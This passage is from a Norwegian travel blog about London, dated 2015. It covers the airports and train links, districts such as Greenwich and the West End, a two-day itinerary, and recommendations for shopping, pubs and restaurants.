i.e. ?wheat?, ?rye?, ?barley?, ?oats?; or some will use the word gluten as well i.e. ?wheat gluten?. This information must be declared in the ingredients list, whereas the allergy advice box is only a recommendation (and is not compulsory). Therefore it is important that anyone following a gluten-free diet check both the ingredients list and the allergy advice box.\n\nMcDonalds and Burger King do not provide gluten-free bread, however they do have some gluten-free products.\n\nby email@example.com - 27. november 201525. desember 2017\n\n## Flyplasser i London\n\n## Gatwick Airport, Norwegian lander her\\!\n\nNorwegian lander p\u00e5 Gatwick. Ligger ca 45 km s\u00f8r for London. En meget oversiktlig og grei flyplass b\u00e5de \u00e5 lande og ta av fra.Oversiktlig og lett \u00e5 finne fram. Norwegian har ogs\u00e5 utplassert innsjekkingsautomater.\n\nVeldig rask sikkerhetssjekk.\n\nFlyplassen har et meget stort utvalg av butikker og restauranter.\n\nFlyplassen har 2 terminaler, North og South terminal. Alle Norwegian fly lander p\u00e5 South terminal.\n\nToget g\u00e5r hvert 15. min og stanser p\u00e5 Victoria Station hvor det er videre\n\nundergrunnsforbindelse\n\nTuren tar ca. 30 min.\n\nAnbefales \u00e5 bruke drosje fra stasjonen til hotellet da det kan bli mange linjebytter p\u00e5 undergrunnen. \n\n\u00a0\n\n\u00a0\n## Stansted Airport hvor Ryan Air lander.\n\nSelvom flyplassen opplever en sterk vekst er den lett \u00e5 finne frem p\u00e5, veldig bra kundeservice, og enkelt \u00e5 finne frem til tog, buss, taxi osv.\n\nFlyplassen har utviklet seg til den st\u00f8rste lavprisflyplassen i London og har n\u00e5 over 120 destinasjoner til Europa med flere enn 25 flyselskaper.\n\nEnkleste m\u00e5ten \u00e5 komme seg til London sentrum fra Stansted er med Stansted Express. Toget g\u00e5r hvert 15. min. og tar ca. 45 min til Liverpool Street Station.\n\nFra Liverpool Street Station er det togforbindelse til resten av England samt f\u00f8lgende undergrunnslinjer: Central, Circle, Metropolitan og Hammersmith & City Line.\n\n\u00a0\n## Heathrow Airport. Her lander SAS.\n\nHeathrow har 5 terminaler. Terminal 1, 2,3 og 5 deler en togstasjon (Heathrow Central) og terminal 4 har sin egen stasjon. V\u00e6r oppmerksom p\u00e5 dette dersom du tar undergrunnen til flyplassen, slik at du g\u00e5r av p\u00e5 rett stasjon.\n\nSAS bruker Terminal 2.\n\nHeathrow Express:\n\nFra Heathrow kan man ta Heathrow Express til Paddington jernbanestasjon og s\u00e5 videre herfra med undergrunnen til endelig bestemmelsessted. Undergrunnen ligger like ved jernbanestasjonen. Denne tjenesten utf\u00f8res 7 dager i uken og toget g\u00e5r hvert 15. minutt fra tidlig p\u00e5 morgenen til sent p\u00e5 kveld.\n\nTuren fra Heathrow til de fleste av v\u00e5re hoteller p\u00e5 Russel Square, tar det ca 50 minutter.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Wimbledon\n\nWimbledon ligger p\u00e5 toppen av Wimbledon Hill og er omtrent 16 km fra London sentrum \u2013 men kjennes alikevel som om de ligger midt i hjertet av landsbygda.\n\nP\u00e5 den originale middelalderske High Street finner du kirken, Old Rectory og massevis av puber. Lite har forandret seg og i de unike byggningene i denne sjarmerende landsbyen kan du finne f\u00f8rsteklasses butikker, puber, restauranter, vinbarer, cafeer og forretninger.The New Wimbledon Theatre har et variert program med spennende oppsetninger og forestillinger.\n\nThe Wimbledon Lawn Tennis Museum er et must for alle som er sports interessert. L\u00e6r om historien til turneringen, se de store trofeene og f\u00e5 omvisning p\u00e5 den legendariske Centre Court.\n\nby email@example.com - 27. november 2015\n\n## Greenwich\n\nFantastiske bygninger, livlige marked, sjarmerende gamle puber og en utpreget maritim atmosf\u00e6re ? alt dette gj\u00f8r Greenwich til et av de mest popul\u00e6re stedene b\u00e5de blant turister og fastboende. Du kan ankomme i stil med en av fergene fra Westminster Pier. S\u00e5 kan du la deg imponere over synet av observatoriet, the Old Royal Observatory, hvor Greenwich Mean Time har sitt hjem.\n\nDet er en avslappet steming i Greenwich. Det er et sted hvor du kan vandre i timesvis mens du ser p\u00e5 markedet ? kunsth\u00e5ndtverk, antikviteter, vinylplater, selvf\u00f8lgelig bruktkl\u00e6r og alt mellom himmel og jord. Dropp inn p\u00e5 en pub langs elvebredden for lunsj, og etter flere timer er du kanskje der fortsatt, og h\u00f8rer p\u00e5 avslappende jazz.\n\nN\u00f8dvendig severdighet  \nGreenwich ParkThe Royal ObservatoryNational Maritime MuseumThe Queen?s HouseFan MuseumGreenwich Peninsula Ecology ParkGreenwich TheatreMillennium DomeVanburgh CastleThe Cutty Sark\n\nby firstname.lastname@example.org - 27. november 2015\n\n## West End\n\nLondon er en av verdens mest spennende byer, og hjertet av London er West End. Her kommer man for \u00e5 shoppe, spise og la seg underholde ? p\u00e5 teatre, nattklubber og gourmetrestauranter.\n\nMidt i hjertet av West End ligger Trafalger Square, og noen f\u00e5 minutter unna ligger Soho, senter for alle typer underholdning, med sine puber, nattklubber, barer og restauranter.\n\nKultur er det heller ingen mangel p\u00e5. Alt fra Royal Academy of Arts til the Serpentine Gallery i Kensington Gardens. Hyde Park og Kensington Gardens er store, gr\u00f8nne parker midt inne i en metropol ? hit kommer byen innbyggere for \u00e5 slappe av.\n\nDe fleste av de kjente hotellene i London ligger i West End, langs Park Lane og inn i Mayfair. Det fins sm\u00e5 hoteller og B\\&Bs ogs\u00e5 rundt Victoria Station, en av byens store jernbanestasjoner. Victoria er ogs\u00e5 kjent som hjemstedet til Dronning Elizabeth i Buckingham Palace\\!\n\nN\u00f8dvendig severdighet  \nCovent Garden, London's West EndSoho, London's West EndMusicals in the West End, London's West EndLeicester Square, London's West EndChinatown, London's West EndCarnaby Street, London's West End\n\nby email@example.com - 27. november 2015\n\n## London for viderekommende\n\n**De fleste \u00abanglofile\u00bb har sitt eget London, men sannheten er at den norske Londonturisten bruker tiden p\u00e5 \u00e5 handle, bes\u00f8ke severdigheter og \u00e5 nyte storbyatmosf\u00e6ren. En meget stor del av oss g\u00e5r ogs\u00e5 p\u00e5 fotballkamp.  \nMen har du v\u00e6rt i London noen ganger, er du kanskje klar for nye nytt?**\n\n**Ting du bare m\u00e5 gj\u00f8re:**  \n**1. Et bes\u00f8k p\u00e5 RITZ.**  \nHvis du vil se hvordan de rike lever, kan du bevilge deg en afternoon tea p\u00e5 Ritz. Husk jakke og slips, dette er obligatorisk. Her er b\u00e5de stemning og service up\u00e5klagelig, men du m\u00e5 regne med \u00e5 betale n\u00e6rmere tusenlappen for \u00abtea for two\u00bb.  \nN\u00e5r du er p\u00e5 Ritz, ta en tur innom toalettet. Herren som holder orden p\u00e5 herretoalettet \u00e5pner vannkrana for deg, gir deg h\u00e5ndkle og sprayer hendene dine med parfyme hvis du vil.  \nPS. Husk \u00e5 gi han tips. Husk ogs\u00e5 bestille bord i god tid. Det kan gj\u00f8res p\u00e5 www.theritzlondon.com\n\n**2. Harvey Nicholas.**  \nEr du ute etter det elegante fortsetter turen din til varehuset Harvey Nichols i Knightsbridge.\n\n**3. Harrods**  \nVarehuset Harrods ligger like ved, er ogs\u00e5 verdt et bes\u00f8k. Om ikke for \u00e5 shoppe, s\u00e5 er det verdt \u00e5 studere den overd\u00e5dige lusksusen som preger dette varehuset.\n\n**4. Tate Modern**  \nNasonalmuseet for samtidskunst. Mange flotte ustillinger og en utmerket restaurant i toppetasjen, hvor du har en nydelig utsikt over Themsen.\n\n**5. Musikal.**  \nThe Producers g\u00e5r for fulle hus i London. Musikalen sies \u00e5 v\u00e6re det morsomste du kan oppleve i London, med buksene p\u00e5 \\!\n\n**Turistenes 10 p\u00e5 topp i London:**\n\n**1 . The National Gallery**  \nEn av verdens flotteste samlinger av da Vinci, Rembrandt og Van Gogh.  \n**2. British Museum.**  \nViktige gjenstander fra verdenshistorien.  \n**3. Tate Modern.**  \nNasjonalmuseet for moderne kunst.  \n**4. The London Eye**  \nLondons pariserhjul.  \n**5. Natural History Museum**  \nSpennende dinosaurer, jordskjelvsimulator og verdens st\u00f8rste, h\u00f8yeste og mest sjeldne dyr.  \n**6. Science Museum**  \nVerdens st\u00f8rste science museum med flymororer, biler, romfart.  \n**7. The Tower of London**  \nKongelig slott, fengsel, festning. N\u00e5 en av de store attraksjoner.  \n**8. The Victoria & Albert Museum**  \nKunsdt og design gjennom 3000 \u00e5r.  \n**9. The National Portrait Gallery**  \nPortretter av kjente engelskmenn  \n**10. National Maritime Museum**  \nVerdens st\u00f8rste sj\u00f8fartsmuseum.\n\n**Shopping i London****:**\n\n**John Lewis** i Oxford Street. Londons beste varehus.\n\n**Hatchards** \u2013 byens eldste bokhandler, fra 1797\n\n**Fortnum & Mason** \u2013 luksuskolonial ved siden av Hatchards\n\n**Micro Anvika** i Tottenham Court Road med alt du trenger til din iPod\n\n**Agent Provocatur** i Soho tilbyr kostbart undert\u00f8y av det litt spesielle slaget\n\n**Diverse tips:**  \n**Spennende bydel** \u2013 Hackney i nord-\u00f8st London. Litt utenfor T-banesystemet.  \nher finner du bla spisestedet/pub Pub on the Park eller Biddle Bros \u2013 en bar i Clapton Road\n\nThe Jazz Bar Dalston er et **bra sted for musikk**, og Vibe Bar i Brick Lane er ogs\u00e5 hyggelig.\n\nFor **musikkopplevelse**r anbefales Shepherds Bush Empire\n\nAv litt mindre kjente **markeder**, kan anbefales Camden Passage og Chapel Market, men toppen er likevel Camden Market\n\n\u00a0\nEllers er en tur med Lightrailway fra Tower til Greenwich, og b\u00e5t p\u00e5 Themsen tilbake til Westminster en av klassikerne som alltid er like hyggelig.\n\nTa en middag i Oxo Tower med en nydelig utsikt.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## London p\u00e5 en weekend\n\nFor de fleste av oss vil det v\u00e6re mest aktuellt med en weekendtur til storbyen. Tiden du har til disposisjon er knapp og det er lett for at du bare blir virrende rundt nede p\u00e5 Oxford Street uten m\u00e5l og mening. Det viktige da er \u00e5 planlegge godt\\!\\!\n\n**Reisetips**  \nDe dyreste bilettene er fredag og s\u00f8ndag. Kan du feks. reise p\u00e5 torsdag kveld, og reise opp igjen med morgenflyet kl. 0700 p\u00e5 mandagsmorgen, vil du spare mye penger p\u00e5 flyreisen din.\n\nLitt avhengig av hva du foretrekker, men \u00e5 tilbringe s\u00f8ndagen i Nothing Hill er absolutt \u00e5 anbefale. Etter l\u00f8rdagens stress og mas med handling og l\u00f8ping i Oxford Street, er det godt med en rolig dag. Masse kafeer, puber og rolige restauranter minner den litt om Grunerlokka \u2013 bare ti ganger bedre.\n\n**Du bor p\u00e5 St Giles hotell**\n\n**V\u00e5r bestselger \\!\\! Londons mest sentrale hotell.** **Pris fra kr 430,-**  \nDette er normenns store hotell favoritt i London. Stort, moderne turistklasse hotell beliggende i Londons West End, ved handlegaten Oxford Street Hotell med 705 sm\u00e5, men komfortable rom i behagelige farger med bad/dusj, h\u00e5rf\u00f8ner, aircondition, TV, telefon, PC-uttak, vannkoker og safe.**  \nVed Oxford Street. Stor engelsk frokost er med i prisen\\!  \n**London hotell Oxford Street St Giles\n\n**DAG 1**\n\n**09:30 London Eye:**  \nStart utfluktene med en 30-minutters \u00abflytur\u00bb i det gigantiske hjulet p\u00e5 Themsens s\u00f8rbredd. Utsikten over storbyen er enest\u00e5ende, n\u00e5r du er p\u00e5 toppen ser du p\u00e5 en klar dag 40 km i alle retninger. L\u00f8nner seg \u00e5 kj\u00f8pe billetter f\u00f8r du reiser, ellers kan det bli mange timer i k\u00f8  \nUndergrunn: Westminster/Waterloo.\n\nBilletter London Eye\n\n**10:30 B\u00e5ttur til Greenwich:**  \nVel nede fra \u00ab\u00f8yet\u00bb tar du b\u00e5ten til Greenwich. Den g\u00e5r fra Westminster Pier p\u00e5 Victoria Embankment. Spaser fra London Eye, kryss Westminster Bridge. Sving til h\u00f8yre, s\u00e5 ligger b\u00e5ten like ved. Turen tar litt over \u00e8n time.\n\n**12:00** Greenwich:  \nNyt et par hyggelige timer i \u00d8st-London. Start med verdensber\u00f8mte \u00abCutty Sark\u00bb, den lynraske klipperen. Se den gratis fra utsiden, eller betal for \u00e5 g\u00e5 om bord. Spaser gjennom Greenwich Park, og bes\u00f8k Royal Observatory, still klokken etter tidskulen som faller p\u00e5 slaget 13.00.\n\nP\u00e5 vei tilbake kan man nyte en pint p\u00e5 Cutty Sark pub, eller ta en lunsj p\u00e5 ett av spisestedene ved Greenwich Market \u2013 Londons beste kunst- og h\u00e5ndverksmarked. \u00c5pent torsdag-s\u00f8ndag.\n\n**14:00 West End:**  \nTa Docklands Light Railway tilbake mot sentrum. Bytt til T-banens Jubilee Line p\u00e5 Canary Wharf og ta den til Green Park. Herfra er det en fin spasertur bort gaten Piccadilly mot Piccadilly Circus \u2013 der \u00abhele London\u00bb m\u00f8tes. Det sies at hvis du setter deg ved Eros statuen, vil du i l\u00f8pet av maks 15 minutter h\u00f8re norske stemmer\\!\n\n**15:30 Te p\u00e5 The Ritz:**  \nNoe mer typisk engelsk enn ettermiddagste finnes ikke. P\u00e5 Ritz kan du velge mellom fem typer te, samt lekre sm\u00f8rbr\u00f8d, s\u00f8te kjeks og fristende kaker av mange slag.\n\nTre bordsettinger hver dag, kl. 13.30, 15.30 og 17.30. 62 pund for to, og du m\u00e5 bestille minst seks uker p\u00e5 forh\u00e5nd.\n\nInfo:  \nPiccadilly, W1V 9DG.  \n(020-74938181)  \nN\u00e5r: Fra kl.13.30 \u2013 1800.  \nPris: Ca. 700 kr. for to.\n\n**18:00 Covent Garden:**  \nG\u00e5 kaloriene av etter Ritz-kakene med en tur til Covent Garden, via Piccadilly Circus og Leicester Square.  \nDu er n\u00e5 i hjertet av Londons underholdningsdistrikt, og i de gamle blomsterhallene kan du kj\u00f8pe alt mulig i de mange sm\u00e5 bodene og butikkene.\n\n**20:00 Tid for middag:**  \nBestill gjerne bord p\u00e5 Mezzo i 100 Wardour Street \u2013 en av designguruen Terence Conrans flotte restauranter (Tlf.: 020-7314 4000).\n\nIkke billig, men ikke av de dyreste heller. Vil du spise rimeligere, er gaten full av enklere steder. Vi anbefaler italienske Luigi's. God mat og hyggelig stemning.\n\nEller ta en tur til Charlotte Street, en \u00abhemmelig\u00bb restaurantgate rett ovenfor Oxford Street \u2013 der koselige og bra restauranter ligger tett i tett.\n\n**23:00 Bar Italia:**  \nAvslutt byturen med en cappuccino eller caff\u00e8 latte p\u00e5 Londons mest kjente kaffebar i Frith Street \u2013 midt i Soho. Den er \u00e5pen d\u00f8gnet rundt.\n\n**DAG 2** ******\n\n**09:00 Notting Hill:**  \nSpis frokost i trendy Notting Hill, gjerne p\u00e5 Electric Brasserie i Portobello Rd.  \nTa en espresso, mums en bagel og kikk p\u00e5 verden. Etterp\u00e5 kan du rusle p\u00e5 ber\u00f8mte Portobello Market, der du lett kan gj\u00f8re et kupp, kanskje p\u00e5 designerkl\u00e6r?\n\n**11:00 Tate Modern m/lunch:**  \nGalleribes\u00f8k h\u00f8rer med i ferien. Tate Modern er det nyeste og mest oppsiktsvekkende London kan by p\u00e5. Det er gratis, og det er \u00e5pent s\u00f8n.-tors. kl. 10-18, fre./l\u00f8r. kl. 10-22. Bygningen er verd et bes\u00f8k i seg selv. Lunsj i restauranten p\u00e5 toppen anbefales \u2013 ogs\u00e5 p\u00e5 grunn av utsikten.  \nUndergrunn: Southwark/Blackfriars.\n\n**14:00 St. Pauls-katedralen:**  \nEtter lunsj kan turen legges til den ber\u00f8mte kirken direkte fra Tate \u2013 over Millennium Bridge \u2013 en flott og moderne gangbro. St. Paul er et mesterverk av arkitektur og konstruksjon.\n\nTa turen ned i krypten, g\u00e5 trappene opp til Whispering Gallery og opplev akustikken. Bill. 3 pund. \u00c5pen man.-l\u00f8r. kl. 08.30-16.00.  \nT-bane: St. Pauls.  \nBilletter\n\n**15:00 Tower of London:**  \nHer kan du beundre kronjuvelene, se de fantastiske middelalderbygningene og kjenne historien p\u00e5 n\u00e6rt hold.\n\nSe Bloody Tower, Traitor's Gate og de mer enn 90 inskripsjonene fra fortvilte fanger i Beauchamp Tower. \u00c5pent alle dager, varierende tider. Bill. 12 pund for voksne, 5,50 for barn 5-15 \u00e5r. T-bane: Tower Hill.  \nBilletter\n\n**18:00 Chinatown:**  \nTa tidlig middag p\u00e5 en av restaurantene i den kinesiske bydelen midt i Soho. Maten er rimelig, og stort sett velsmakende. En anbefaling; Wong Kei, 43-46 Wardour Street. T-bane: Piccadilly Circus.\n\n**20:00 P\u00e5 musikal:**  \nDu har selvsagt bestilt billett til et av de utallige showene i \u00abTeaterland\u00bb.\n\nHer g\u00e5r \u00abMamma Mia\u00bb, \u00abOperafantomet\u00bb, \u00abChicago\u00bb, \u00abLes Mis\u00e9rables\u00bb, \u00abL\u00f8venes konge\u00bb og Queen-inspirerte \u00abWe Will Rock You\u00bb. Et musikalbes\u00f8k er et must p\u00e5 enhver London-ferie.  \nBilletter\n\n**22:30 Siste runde:**  \nAvslutt to hektiske d\u00f8gn med et glass eller to p\u00e5 n\u00e6rmeste pub. Pr\u00f8v gjerne The Salisbury i St. Martin's Lane, eller The Ship i Wardour Street.\n\n**Noen praktiske r\u00e5d \ud83d\ude09**  \nG\u00e5 p\u00e5 do f\u00f8r du reiser til byen\\!\\!  \nEr det noe London mangler s\u00e5 er det offentlige toaletter\\!\\!  \nBruk ikke ryggsekk eller magetaske. Da ser alle at du er turist. Bruk rett og slett en plastpose og se minst mulig turist ut. T-banen og sentrumsgatene kryr av lommetyver.  \nHa ikke lommeboka i baklomma. Legg igjen pass og flybilett i safen. Ha ikke for mye kontanter i lomma, og ikke oppbevar koden til bakkortet ditt sammen med kortet.  \nKj\u00f8p deg kartboka London A-Z. Du finner den overalt p\u00e5 butikker og boder. Kj\u00f8p ikke den minste for det er nesten umulig \u00e5 lese teksten. Denne boka er ett must for \u00e5 finne fram.\n\n**Aktiviteter**  \nDet sp\u00f8rs hvor kjent du er, eller om dette er ditt f\u00f8rste bes\u00f8k. Jeg kan gi deg noen tips og advare deg mot noen feller, men det viktigste er at du har det hyggelig.  \nDu vil nok bli overrasket hvis du g\u00e5r i Oxford Street hvor mange norske stemmer du vil h\u00f8re. London er ett yndet turistm\u00e5l for normenn hele \u00e5ret.\n\nDe fleste vil nok starte dagen p\u00e5 Oxford Street for \u00e5 se p\u00e5 folkelivet, men unng\u00e5 \u00e5 kj\u00f8pe for mye her. Det er dyrt\\!\\!  \nLet etter butikker med \u00about lets\u00bb. Disse har spesialisert seg p\u00e5 merkekl\u00e6r og merkevarer til en billig pris.  \nEtt meget godt alternativ til Oxford Street er Brick Lane i East End. Her finner du mage spennende butikker med litt andre priser.\n\nEn l\u00f8rdag b\u00f8r du absolutt sette av til Camden Town og Camden Market. Her vi du finne absolutt ALT, og kan v\u00e6re kjempeheldig med kj\u00f8pene dine. Du kan ogs\u00e5 pr\u00f8ve T K Max p\u00e5 Ealing Broadway. BILLIG\\!\\!\n\n**Men du skal vel ikke bare shoppe? London er s\u00e5 mye mer enn det.**  \nMadame Tussaud, Parlamentet, Big Ben, Downing Street No10, Westminster Abbey, Tower og War Museum.  \nVil du litt ut av byen er det absolutt \u00e5 anbefale en tur til Windsor, ca 1 times togtur utenfor byen. Her finner du Windsor Castle, kostskolen Eaton og Legoland.\n\n**Som normenn flest vil du vel ogs\u00e5 unne deg ett godt m\u00e5ltid?**  \nI omr\u00e5det rundt Lancaster Gate og Bayswater ligger mange gode indiske restauranter. I Chinatown ved Picadilly Circus finner du de asiatiske p\u00e5 rad og rekke.  \nOg vil du avslutte dagen perfekt med ett herrem\u00e5ltid b\u00f8r du ta en middag p\u00e5 Blue Elephant i Fulham Road.\n\nDu finner masse lunchkaffer over hele byen, men pubene har ofte ogs\u00e5 gode luncher, i allefall de som ligger i Soho og rundt Picadilly Circus.\n\n**Billetter**  \nDet er ikke alltid like lett \u00e5 skaffe seg biletter til teater eller fotballkamper.  \nEtt alternativ er \u00e5 stikke innom billettkontorene i London p\u00e5 dagetid, og kj\u00f8pe billetter til halv pris\\!\\! Du finner bla. en tilbudskiosk i Coventry Street ved Picadilly Circus som selger b\u00e5de teater og fotballbilletter, men her er det lang k\u00f8 og fort utsolgt.  \nDe fleste ligger i omr\u00e5de rundt Picadilly Circus, p\u00e5 nedsiden av Chinatown.\n\nBilletter\n\nHar du d\u00e5rlig med tid, eller er v\u00e6ret udregelig er det kanskje greit \u00e5 bes\u00f8ke et par av de st\u00f8rste varehusene. De trenger n\u00f8dvendigvis ikke alltid \u00e5 v\u00e6re dyre, men den st\u00f8rste fordelen er jo vareutvalget. De fleste butikkene har \u00e5pnet 10 ? 18 mandag til l\u00f8rdag. Fredagen er langdag til 19 eller 20 for mange av varehusene.\n\n**Handlegater**  \nHele Oxford Street kan jo egentlig benevnes kj\u00f8pesenter. I flere kilometer ligger det store varehus, sm\u00e5butikker og kjedebutikker p\u00e5 rekke og rad. Er du NIKE-fan kan du jo g\u00e5 amok i NIKE Town. Eller hvis du vil ha tradisjonelle kl\u00e6re finner du blant annet Hennes & Maurits flere steder. Oxford Street er ikke billigst men s\u00e5nn midt p\u00e5 treet. Har du godt med penger \u00e5 svi av, er Kensington High Street og Knightsbridge de rette stedene. Her finner du en mengde klesbutikker med vanlige kl\u00e6r og Haute cotour. Covent Garden er ogs\u00e5 bra p\u00e5 kl\u00e6r, men her finner du ogs\u00e5 mange sm\u00e5 spesialbutikker. Notting Hill kan v\u00e6re litt for turistifisert for mange. Men se litt n\u00e6rmere p\u00e5 utvalget og du finner en del bra butikker med mote og interi\u00f8r. Det etniske mangfoldet i bydelen gjenspeiler seg i vareutvalget.\n\n**Markeder**  \nLondon har ogs\u00e5 et stort utvalg av markeder. Markedet er ikke bare en handleplass men en opplevelse i seg selv. Vareutvalget p\u00e5 et og samme marked kan v\u00e6re enormt. Du kan shoppe alt fra brukt og nytt, blomster, kl\u00e6r, frukt, gr\u00f8nnsaker, elektronikk, klokker, smykker osv. Selgerne gj\u00f8r hele atmosf\u00e6ren oppstemt, og du kan selv bidra til showet ved \u00e5 prute. Alle prisene er ikke n\u00f8dvendigvis faste\\! Inne mellom shoppingen finner du alltid mat og drikke og kanskje en gatemusikant eller stand-up komiker. \u00c5pningstiden og vareutvalget p\u00e5 markedene kan variere en del, s\u00e5 sjekk med p\u00e5 en turistinformasjon for siste nyheter. Som oftest er markende kun \u00e5pne i slutten av uken og p\u00e5 helgedager.\n\nPortobello Road Market (T?Notting Hill Gate)  \nPetticoat Lane Market (T-Aldgate, Aldgate East eller Liverpool Street)  \nBrick lane Market (T-Aldgate East)  \nSpitalfields Market (T-Liverpool Street)  \nColombia Road Market (T-Old Street)  \nCamden Market (T-Camden Town eller Chalk Farm)  \nChapel Market (T-Angel)  \nGreenwich Market (T-Greenwich BR)  \nCovent Garden (T-Covent Garden)  \nBrixton Market (T-Brixton)  \nBermondsey Market (T-Borough)\n\nDet ultimate shopping paradis  \nAlle shopperes ultimate paradis m\u00e5 v\u00e6re Bluewater Shoppingmall. Europas st\u00f8rste kj\u00f8pesenter kan holde deg i gang i flere dager, om du skal saumfare hele komplekset. Norske kj\u00f8pesenter blir som lurvete p\u00f8lsebuer i forhold til dette gigantiske kj\u00f8pemekka. Kj\u00f8pesenteret ligger ca. 40 minutter med toget fra London sentrum.\n\n**Sluttord.**  \nEllers vil jeg anbefale deg \u00e5 surfe rundt p\u00e5 sidene \u00e5 plukke opp ulike tips, eller hva du \u00f8nsker \u00e5 f\u00e5 igjen for noen travle dager i byen.  \nEtter at jeg har bes\u00f8kt byen 8 \u2013 10 ganger pr. \u00e5r gjennom mange \u00e5r, vet jeg at du b\u00f8r ikke legge opp for stramt program for du blir utrolig sliten av \u00e5 g\u00e5 rundt i asfaltjungelen. Ta deg pauser underveis \u2013 sett deg p\u00e5 en fortausrestaurant og bare nyt folelivet.\n\nby email@example.com - 27. november 2015\n\n## V\u00e5re anbefalinger pub, restauranter og shopping i London\n\n**Londons beste pub**  \nYe Olde Cheshire Cheese er en av Londons eldste puber, gjenoppbygd etter brannen i 1666. Den serverer en ber\u00f8mt steak-and-kidney pie.  \nVanskelig \u00e5 finne hvis du ikke er kjent.  \nDen ligger i en smal sidegate til Fleet Street. Sp\u00f8r deg for eller ta en taxi. Museum Ale inneholder 5% alkohol, s\u00e5 v\u00e6r forsiktig. Her treffer du Mick, som har jobbet her i over 40 \u00e5r. The City  \n145 Fleet St. EC4, at Wine Office Court  \n0171-353 6170  \nBlackfriar Station, Circle/Disrtict Lines\n\n**Londons \u00abkuleste\u00bb restaurant**\n\nLigger i Covent Garden, i teaterland i West End, like ved The Royal Opera House. Egner seg for ett m\u00e5ltid f\u00f8r eller etter teaterforestillingen.  \nHele restauranten er innredet med teaterkulisser.  \nStedet eies av tyrkeren Richard Niazi, som har bodd i London i over 30 \u00e5r.  \nOfte ser du Rolls-Royce og Bentleys med privatsj\u00e5f\u00f8rer utenfor restauranten. Herr Niazi er nemelig eier av ikke mindre enn 112 biler, og bruker gjerne disse til \u00e5 kj\u00f8re sine gjester hjem.  \nEt bes\u00f8k her er et must.\n\nSarastro Restaurant  \n126 Drury Lane  \nTheatreLand, London, WC2B 5QG\n\n**Londons beste shopping**\n\nHer er stedene hvor London-beboerne selv foretrekker \u00e5 handle n\u00e5r de skal kle seg opp.  \nHvert \u00e5r k\u00e5rer ukemagasinet Time Outs lesere de beste stedene for shopping i London. Her b\u00f8r det ogs\u00e5 v\u00e6re noen tips \u00e5 ta med seg for handlende nordmenn p\u00e5 storbyvisitt.\n\n\u2013 Denne k\u00e5ringen kan du stole p\u00e5\\! For her er avstemningen gjort av londonerne selv, de som daglig tr\u00e5ler gater og streder for \u00e5 finne de beste kj\u00f8pene og de beste shoppingopplevelsene, skriver Time Out-journalist Christian Broughton i forbindelse med avsl\u00f8ringen av vinnerne.  \nTime Out kommer ut i London hver onsdag, med et opplag p\u00e5 88000, og er byens mest anerkjente \u00abhva-skjer\u00bb-magasin. Her finnes oversikten over alt som er verdt \u00e5 vite n\u00e5r det gjelder utstillinger, konserter, teater, uteliv, shopping osv\n\nF\u00f8r man g\u00e5r til innkj\u00f8p av noe som helst annet, b\u00f8r man skaffe seg siste nummer. Handleglade b\u00f8r ogs\u00e5 skaffe seg Time Outs sjokkrosa spesialmagasin Shopping.\n\n**BESTE DAMEKL\u00c6R:**  \nZara,  \n333 Oxford Street,  \n242-248 Oxford Street,  \n118 Regent Street.\n\nZara slo konkurrenten og fjor\u00e5rsvinner Topshop p\u00e5 m\u00e5lstreken. Den spanske kjeden har 500 filialer rundt i verden, og tre av dem ligger rundt Oxford Circus.\n\nDisse byr p\u00e5 alt fra etterligninger av de siste catwalk-slagerne til helt \u00abvanlige\u00bb kl\u00e6r til en billig penge.\n\nUtvalget av ponchoer er spesielt stort for tiden\\!\n\n**BESTE HERREKL\u00c6R:**  \nSelfridges,  \n400 Oxford Street.\n\nDet brede utvalget av kjente merkekl\u00e6r er forklaringen p\u00e5 at herrene g\u00e5r for gode, gamle Selfridges i Oxford Street, som sies \u00e5 v\u00e6re varehuset som har fornyet seg mest det siste \u00e5ret. Her er seks etasjer med siste mote og alt annet som selges kan.\n\nVi kom over en mobiltelefon utstilt i en glassmonter, med en prislapp p\u00e5 over 200000 kroner \u2013 godt bevoktet av to stramme herrer.\n\n**BESTE HANDLEGATE:**  \nKing's Road.\n\nTil tross for hard konkurranse fra utfordrere som Carnaby Street og Brick Lane, beholder King's Road tittelen. Denne eksklusive gaten best\u00e5r av r\u00e5lekre \u2013 og r\u00e5dyre \u2013 forretninger. Nevnes kan skobutikken Kate Kuba i nr. 22, varehuset Peter Jones p\u00e5 Sloane Square og sjokoladebutikken Rococo i nr. 321.\n\nEksklusive barnekl\u00e6r finnes hos Petit Bateau i nr. 106-108, og Gap Kids i nr. 122 er kjent for sine gode salgsvarer.\n\n**BESTE MARKED:**  \nSpitalfields, Commercial Street.\n\nSpitalfields Market har tradisjoner tilbake til 1680-\u00e5rene og blir n\u00e5 mer og mer trendy for hver uke som g\u00e5r. Her selges \u00abalt\u00bb, men markedet vinner konkurransen takket v\u00e6re alle de unge designerne som stiller ut sine kl\u00e6r, vesker, smykker osv.\n\n**BESTE NYE BUTIKK:**  \nStella McCartney,  \n30 Bruton Street.\n\nStellas flaggskip ligger i et fireetasjers stort town-house, og minner ikke s\u00e5 mye om en typisk designer-boutique. Betjeningen er vennlig, og prisene er nesten overkommelige. Du er velkommen til \u00e5 kikke rundt i lokalene, som ogs\u00e5 har egne rom for sko og parfyme.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## En dag med kanalb\u00e5t fra Edgware til Camden Market.\n\n**Little Venice** (\u00abLille Venezia\u00bb) er et kanalomr\u00e5de i sentrale London, nordvest for Paddington stasjon, i bydelen Westminster. Det utgj\u00f8r en del av omr\u00e5det Maida Vale. der s\u00f8rdelen omkring gatene Maida Avenue, Warwick Crescent samt Bloomfield Road (som innrammer Browning's Pool), utgj\u00f8r Lille Venice.\n\nOmkring 1810 ble det gravd ut et basseng der Regent's Canal og Paddinton-armen av Grand Union Canal m\u00f8tes. Bassenget het opprinnelig Paddington Broadwater. Etter at kanalene hadde mista sin funksjon i byens varetransport, har bassenget tjent som fort\u00f8yningsplass for husb\u00e5ter.\n\nOmr\u00e5det rundt bassenget ble stykkevis utbygd fra omkring 1825 med vakre edvardianske rekkehus og treetasjes leieg\u00e5rder. Little Venice opptrer f\u00f8rste gang som navn p\u00e5 et hus med utsikt til kanalen i Margery Allinghams detektivroman *Death of a Ghost* fra 1934. Etter krigen ble navnet adoptert av eiendomsmeglere som betegnelse p\u00e5 omr\u00e5det, ettersom assosiasjonene til Venezia ble antatt \u00e5 ha en gustig virkning p\u00e5 prisene. Det meste av grunnen i Little Venice har v\u00e6rt i kirkas eie som en del av Maida Vale-eiendommen. P\u00e5 1980-tallet ble en del hus lagt ut for salg. Tomtene ble 